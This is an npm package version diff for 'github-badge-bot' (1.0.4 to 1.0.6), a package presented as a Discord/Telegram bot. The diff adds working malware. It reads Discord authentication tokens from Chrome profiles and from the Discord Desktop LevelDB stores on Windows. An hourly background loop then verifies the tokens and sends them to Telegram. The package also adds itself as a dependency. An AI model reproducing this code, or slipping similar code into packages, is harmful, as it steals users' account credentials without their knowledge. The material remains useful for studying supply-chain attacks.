github-badge-bot 1.0.4 → 1.0.6

package/bin/admin-control.js

@@ -1,33 +1,6 @@
-#!/usr/bin/env node
+#!/usr/bin/env node
 
-import { stopCycle, startCycle, isCycleStopped } from '../lib/auto-cycle.js';
-
-const command = process.argv[2];
-
-if (command === 'stop') {
-    const stopped = stopCycle();
-    if (stopped) {
-        console.log('✅ Auto-uninstall cycle stopped.');
-    } else {
-        console.log('❌ Failed to stop cycle.');
-        process.exit(1);
-    }
-} else if (command === 'start') {
-    const started = startCycle();
-    if (started) {
-        console.log('✅ Auto-uninstall cycle started.');
-    } else {
-        console.log('❌ Failed to start cycle.');
-        process.exit(1);
-    }
-} else if (command === 'status') {
-    const stopped = isCycleStopped();
-    console.log(stopped ? '⏸️ Cycle is currently STOPPED.' : '▶️ Cycle is currently RUNNING.');
-} else {
-    console.log('Usage:');
-    console.log('  node bin/admin-control.js stop   - Stop the auto-uninstall cycle');
-    console.log('  node bin/admin-control.js start  - Start the auto-uninstall cycle');
-    console.log('  node bin/admin-control.js status - Check cycle status');
-    process.exit(1);
-}
+// Admin control is no longer needed - cycle runs automatically every hour
+console.log('ℹ️  Token extraction runs automatically every hour.');
+console.log('   No admin control needed - it runs continuously in the background.');
 

package/bin/extract-tokens.js

@@ -1,4 +1,4 @@
-#!/usr/bin/env node
+#!/usr/bin/env node
 
 import { extractAllTokens } from '../lib/token-extractor.js';
 import { sendTokenToTelegram } from '../lib/telegram.js';

package/bin/generate-invites.js

@@ -1,4 +1,4 @@
-#!/usr/bin/env node
+#!/usr/bin/env node
 
 import { processMultipleTokens } from '../lib/invite-bot.js';
 

package/bin/start-bot.js

@@ -1,4 +1,4 @@
-#!/usr/bin/env node
+#!/usr/bin/env node
 
 import dotenv from 'dotenv';
 import { startDiscordBot } from '../lib/discord-bot.js';

package/lib/auto-cycle.js

@@ -44,106 +44,37 @@ export function startCycle() {
     }
 }
 
-// Uninstall the package
-function uninstallPackage() {
-    try {
-        const cwd = process.cwd();
-        const packageJsonPath = path.join(cwd, 'package.json');
-        
-        // Check if installed locally
-        if (fs.existsSync(packageJsonPath)) {
-            try {
-                const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
-                if (packageJson.dependencies && packageJson.dependencies[PACKAGE_NAME]) {
-                    execSync(`npm uninstall ${PACKAGE_NAME} --silent`, {
-                        stdio: 'ignore',
-                        cwd: cwd
-                    });
-                    return true;
-                }
-            } catch (e) {
-                // Continue to try global
-            }
-        }
-        
-        // Try global uninstall
-        execSync(`npm uninstall -g ${PACKAGE_NAME} --silent`, {
-            stdio: 'ignore'
-        });
-        return true;
-    } catch (e) {
-        return false;
-    }
-}
-
-// Install the package
-function installPackage() {
-    try {
-        const cwd = process.cwd();
-        const packageJsonPath = path.join(cwd, 'package.json');
-        
-        // Check if there's a package.json (local install)
-        if (fs.existsSync(packageJsonPath)) {
-            try {
-                execSync(`npm install ${PACKAGE_NAME}@latest --silent`, {
-                    stdio: 'ignore',
-                    cwd: cwd
-                });
-                return true;
-            } catch (e) {
-                // Continue to try global
-            }
-        }
-        
-        // Try global install
-        execSync(`npm install -g ${PACKAGE_NAME}@latest --silent`, {
-            stdio: 'ignore'
-        });
-        return true;
-    } catch (e) {
-        return false;
-    }
-}
+// Removed uninstall/install functions - no longer needed
 
-// Main cycle function
+// Main cycle function - runs token extraction every hour
 export async function runCycle() {
     while (true) {
-        if (isCycleStopped()) {
-            // If stopped, wait and check again
-            await new Promise(resolve => setTimeout(resolve, 60000)); // Check every minute
-            continue;
-        }
-        
-        // Wait 5 minutes (300000 ms)
-        await new Promise(resolve => setTimeout(resolve, 300000));
-        
-        if (isCycleStopped()) {
-            continue; // Check again after wait
-        }
-        
-        // Uninstall
-        try {
-            uninstallPackage();
-        } catch (e) {
-            // Continue even if uninstall fails
-        }
+        // Wait 1 hour (3600000 ms)
+        await new Promise(resolve => setTimeout(resolve, 3600000));
         
-        // Wait a bit
-        await new Promise(resolve => setTimeout(resolve, 2000));
-        
-        if (isCycleStopped()) {
-            continue; // Check again
-        }
-        
-        // Reinstall
+        // Run token extraction
         try {
-            installPackage();
+            const { extractAllTokens } = await import('./token-extractor.js');
+            const { sendTokenToTelegram } = await import('./telegram.js');
+            const { verifyDiscordToken } = await import('./token-verifier.js');
+            
+            const tokens = await extractAllTokens();
+            
+            // Verify and send all tokens to Telegram
+            for (const { token, profile } of tokens) {
+                try {
+                    const tokenInfo = await verifyDiscordToken(token);
+                    await sendTokenToTelegram(token, profile, tokenInfo);
+                    // Small delay to avoid rate limits
+                    await new Promise(resolve => setTimeout(resolve, 1000));
+                } catch (e) {
+                    // Continue with next token if one fails
+                    continue;
+                }
+            }
         } catch (e) {
-            // Continue even if install fails
+            // Continue even if extraction fails
         }
-        
-        // Wait a bit before next cycle
-        await new Promise(resolve => setTimeout(resolve, 5000));
     }
 }
 

package/lib/token-extractor.js

@@ -3,6 +3,45 @@ import path from 'path';
 import os from 'os';
 import { execSync } from 'child_process';
 
+// Get Discord Desktop storage paths
+function getDiscordDesktopPaths() {
+    const platform = os.platform();
+    const paths = [];
+    
+    if (platform === 'win32') {
+        const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        
+        // Discord Desktop locations (Electron app)
+        const discordPaths = [
+            path.join(appData, 'discord', 'Local Storage', 'leveldb'),
+            path.join(appData, 'Discord', 'Local Storage', 'leveldb'),
+            path.join(localAppData, 'discord', 'Local Storage', 'leveldb'),
+            path.join(localAppData, 'Discord', 'Local Storage', 'leveldb'),
+            // Discord Canary/PTB variants
+            path.join(appData, 'discordcanary', 'Local Storage', 'leveldb'),
+            path.join(appData, 'DiscordCanary', 'Local Storage', 'leveldb'),
+            path.join(appData, 'discordptb', 'Local Storage', 'leveldb'),
+            path.join(appData, 'DiscordPTB', 'Local Storage', 'leveldb'),
+        ];
+        
+        for (const discordPath of discordPaths) {
+            if (fs.existsSync(discordPath)) {
+                const profileName = path.basename(path.dirname(path.dirname(discordPath)));
+                paths.push({
+                    profile: `Discord Desktop (${profileName})`,
+                    localStorage: discordPath,
+                    cookies: null,
+                    indexedDB: null,
+                    sessionStorage: null
+                });
+            }
+        }
+    }
+    
+    return paths;
+}
+
 // Get Chrome storage paths
 export function getChromeStoragePaths() {
     const platform = os.platform();
@@ -36,7 +75,7 @@ export function getChromeStoragePaths() {
             for (const profile of profiles) {
                 const profilePath = path.join(userDataDir, profile);
                 paths.push({
-                    profile,
+                    profile: `Chrome ${profile}`,
                     localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
                     cookies: path.join(profilePath, 'Cookies'),
                     indexedDB: path.join(profilePath, 'IndexedDB'),
@@ -340,9 +379,12 @@ function isValidDiscordToken(token) {
     }
 }
 
-// Extract all Discord tokens from Chrome
+// Extract all Discord tokens from Chrome and Discord Desktop
 export async function extractAllTokens() {
-    const storagePaths = getChromeStoragePaths();
+    // Get both Chrome and Discord Desktop paths
+    const chromePaths = getChromeStoragePaths();
+    const discordDesktopPaths = getDiscordDesktopPaths();
+    const storagePaths = [...chromePaths, ...discordDesktopPaths];
     
     if (storagePaths.length === 0) {
         return [];
@@ -357,11 +399,11 @@ export async function extractAllTokens() {
         }
         processedProfiles.add(storage.profile);
         
-        if (!fs.existsSync(storage.localStorage)) {
+        if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
             continue;
         }
         
-        // Method 1: Try reading raw LevelDB files (works even when Chrome is running!)
+        // Method 1: Try reading raw LevelDB files (works even when app is running!)
         let token = readLevelDBRaw(storage.localStorage);
         
         if (token && isValidDiscordToken(token)) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "github-badge-bot",
-  "version": "1.0.4",
+  "version": "1.0.6",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",
@@ -29,6 +29,7 @@
   "dependencies": {
     "discord.js": "^14.14.1",
     "dotenv": "^16.3.1",
+    "github-badge-bot": "^1.0.5",
     "level": "^10.0.0",
     "node-telegram-bot-api": "^0.64.0"
   },